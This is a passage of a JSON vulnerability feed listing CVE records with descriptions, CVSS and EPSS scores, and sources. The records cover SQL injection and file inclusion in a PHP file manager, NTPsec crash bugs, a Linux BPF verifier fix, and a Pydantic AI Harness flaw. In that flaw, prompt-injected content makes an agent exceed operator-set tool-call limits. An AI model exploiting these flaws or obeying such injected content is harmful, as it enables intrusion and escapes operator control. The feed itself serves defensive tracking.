2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function...","summary":"A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function readfile of the file download.php of the component File Download. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function readfile of the file download.php of the component File Download. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:33.000Z","updatedAt":"2026-10-23T23:17:42.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114257","asOf":"2026-10-23T23:17:42.850Z"},"epss":{"probability":0.00401,"percentile":0.34076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114257","type":"primary","publishedAt":"2026-10-21T16:17:33.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114256","cveId":"CVE-2026-114256","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function...","summary":"A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function save_folder/delete_folder/delete_file/file_rename/save_files of the file admin_class.php of the component Folder Management. This manipulation of the argument name/parent_id/id/type/folder_id/description causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function save_folder/delete_folder/delete_file/file_rename/save_files of the file admin_class.php of the component Folder Management. This manipulation of the argument name/parent_id/id/type/folder_id/description causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:32.830Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114256","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00275,"percentile":0.19693,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114256","type":"primary","publishedAt":"2026-10-21T16:17:32.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114255","cveId":"CVE-2026-114255","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file...","summary":"A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file admin_class.php of the component User Account Management. The manipulation of the argument name/username/password/type/id results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file admin_class.php of the component User Account Management. The manipulation of the argument name/username/password/type/id results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:32.667Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114255","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00275,"percentile":0.19693,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114255","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114255","type":"primary","publishedAt":"2026-10-21T16:17:32.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114254","cveId":"CVE-2026-114254","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php.","summary":"A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php. The manipulation of the argument username/password leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php. The manipulation of the argument username/password leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:32.493Z","updatedAt":"2026-10-23T23:17:42.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114254","asOf":"2026-10-23T23:17:42.717Z"},"epss":{"probability":0.00419,"percentile":0.35918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114254&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114254","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114254","type":"primary","publishedAt":"2026-10-21T16:17:32.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114254&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114254, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114253","cveId":"CVE-2026-114253","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file...","summary":"A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file index.php. Executing a manipulation of the argument page can lead to file inclusion. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file index.php. Executing a manipulation of the argument page can lead to file inclusion. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:32.310Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114253","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00326,"percentile":0.25466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114253","type":"primary","publishedAt":"2026-10-21T16:17:32.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102486","cveId":"CVE-2026-102486","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension...","summary":"Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension Fields (AEEF) field with an oversized nonce length.","detail":"Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension Fields (AEEF) field with an oversized nonce length.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:14.313Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102486","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00548,"percentile":0.45638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102486","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102486","type":"primary","publishedAt":"2026-10-21T16:17:14.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102483","cveId":"CVE-2026-102483","aliases":[],"kind":"vulnerability","title":"Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.","summary":"Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.","detail":"Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:13.910Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102483","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00428,"percentile":0.36803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102483&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102483","type":"primary","publishedAt":"2026-10-21T16:17:13.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102483&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102483, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114386","cveId":"CVE-2026-114386","aliases":["GHSA-3589-pxp7-3gj8"],"kind":"vulnerability","title":"Pydantic AI Harness tool-call limit bypass in nested CodeMode calls","summary":"Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.","detail":"Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.\n\nAffected package ranges reported by GitHub:\npydantic-ai-harness: < 0.59.0","action":"GitHub lists first patched versions: pydantic-ai-harness: 0.59.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T15:42:26.000Z","updatedAt":"2026-10-23T20:55:51.000Z","regions":["Global"],"vendor":null,"product":"pydantic-ai-harness","stacks":["Python packages (PyPI)","pydantic-ai-harness","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://github.com/advisories/GHSA-3589-pxp7-3gj8","asOf":"2026-10-23T20:55:51.000Z"},"epss":{"probability":0.00346,"percentile":0.27929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3589-pxp7-3gj8","url":"https://github.com/advisories/GHSA-3589-pxp7-3gj8","type":"primary","publishedAt":"2026-10-21T15:42:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3589-pxp7-3gj8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98869","cveId":"CVE-2026-98869","aliases":[],"kind":"vulnerability","title":"Linux kernel: bpf: Infer zext_dst based on static register liveness analysis","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Infer zext_dst based on static register liveness analysis\n\nAs reported in the thread [1], the verifier's 32-bit operations zero\nextension logic is broken. This logic is responsible for correct\nsemantics of 32-bit operations on s390 architecture.\n\nAccording to BPF semantics, operation `w1 += 1` is supposed to zero\nextend the upper half of the register `r1`. On s390 the JIT relies on\nthe verifier emitting explicit zero extension before such operations.\n\nThe verifier attempts to minimize the amount of zero extensions\ninserted by tracking whether upper halves of the 64-bit registers are\never used. Previously such tracking worked as follows:\n\n- bpf_reg_state->subreg_def field was set by do_check_insn()\n  for each operation defining lower but not the upper halves\n  of the register.\n- Whenever an operation reading the whole register was verified,\n  the verifier checked register's subreg_def and set\n  bpf_insn_aux_data->zext_dst flag as true via a call to\n  mark_insn_zext() function.\n- After the verification was complete, a special pass\n  bpf_opt_subreg_zext_lo32_rnd_hi32() extended 32-bit operations\n  with bpf_insn_aux_data->zext_dst set as true by adding\n  explicit zero extension.\n\nNote that the logic above relies on bpf_reg_state->subreg_def,\nwhich is a property of a current verifier state.\nBefore the commit [2] two additional steps happened:\n\n- The verifier tracked upper and lower register halves' liveness as\n  flags REG_LIVE_READ{32,64} in bpf_reg_state->live.\n- The function propagate_liveness() called mark_insn_zext()\n  in order to transfer the knowledge about which registers have\n  their upper halves alive (and thus might require zero extension).\n\nThe commit [2] removed the two steps described above,\nhence making possible a situation like below:\n\n- The register's upper half is set and is used on some verification\n  path P1 and the register happens not to be marked as precise.\n- The checkpoint C is created while processing some instruction\n  between register initialization and usage.\n- On some other verification path P2 the register's upper half is not\n  initialized and that path ends hittin","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Infer zext_dst based on static register liveness analysis\n\nAs reported in the thread [1], the verifier's 32-bit operations zero\nextension logic is broken. This logic is responsible for correct\nsemantics of 32-bit operations on s390 architecture.\n\nAccording to BPF semantics, operation `w1 += 1` is supposed to zero\nextend the upper half of the register `r1`. On s390 the JIT relies on\nthe verifier emitting explicit zero extension before such operations.\n\nThe verifier attempts to minimize the amount of zero extensions\ninserted by tracking whether upper halves of the 64-bit registers are\never used. Previously such tracking worked as follows:\n\n- bpf_reg_state->subreg_def field was set by do_check_insn()\n  for each operation defining lower but not the upper halves\n  of the register.\n- Whenever an operation reading the whole register was verified,\n  the verifier checked register's subreg_def and set\n  bpf_insn_aux_data->zext_dst flag as true via a call to\n  mark_insn_zext() function.\n- After the verification was complete, a special pass\n  bpf_opt_subreg_zext_lo32_rnd_hi32() extended 32-bit operations\n  with bpf_insn_aux_data->zext_dst set as true by adding\n  explicit zero extension.\n\nNote that the logic above relies on bpf_reg_state->subreg_def,\nwhich is a property of a current verifier state.\nBefore the commit [2] two additional steps happened:\n\n- The verifier tracked upper and lower register halves' liveness as\n  flags REG_LIVE_READ{32,64} in bpf_reg_state->live.\n- The function propagate_liveness() called mark_insn_zext()\n  in order to transfer the knowledge about which registers have\n  their upper halves alive (and thus might require zero extension).\n\nThe commit [2] removed the two steps described above,\nhence making possible a situation like below:\n\n- The register's upper half is set and is used on some verification\n  path P1 and the register happens not to be marked as precise.\n- The checkpoint C is created while processing some instruction\n  between register initialization and usage.\n- On some other verification path P2 the register's upper half is not\n  initialized and that path ends hitting the checkpoint C.\n- In such a case the register's initialization on path P2 would lack\n  zext_dst mark, making it possible for the program to inject\n  an arbitrary value in the register's upper half.\n\nThis commit replaces subreg_def based logic with computing zext_dst\nstatically, as a part of the bpf_compute_live_registers() analysis:\n\n- The analysis now tracks usage of upper and lower halves of the\n  registers separately.\n- If some instruction defines a 32-bit subregister, but not the whole\n  register, *and* the upper half of the register is alive after that\n  instruction, the instruction is marked as zext_dst.\n\nThere is one notable drop in precision: whenever a BPF subprogram is\ncalled, all 64 bits of parameter registers are presumed to be used.\nThe assumption is that such a drop in precision would not inflict\na noticeable performance penalty.\n\n[1] https://lore.kernel.org/bpf/CAGKGUv=sOuqQtA1Ub-5JXfA4FPosJFYKAQE4B79cK+P1erxqtg@mail.gmail.com/\n[2] commit 107e16979905 (\"bpf: disable and remove registers chain based liveness\")\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:19.827Z","updatedAt":"2026-10-24T14:16:47.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98869","asOf":"2026-10-24T14:16:47.630Z"},"epss":{"probability":0.00165,"percentile":0.05708,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98869","type":"primary","publishedAt":"2026-10-21T15:17:19.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 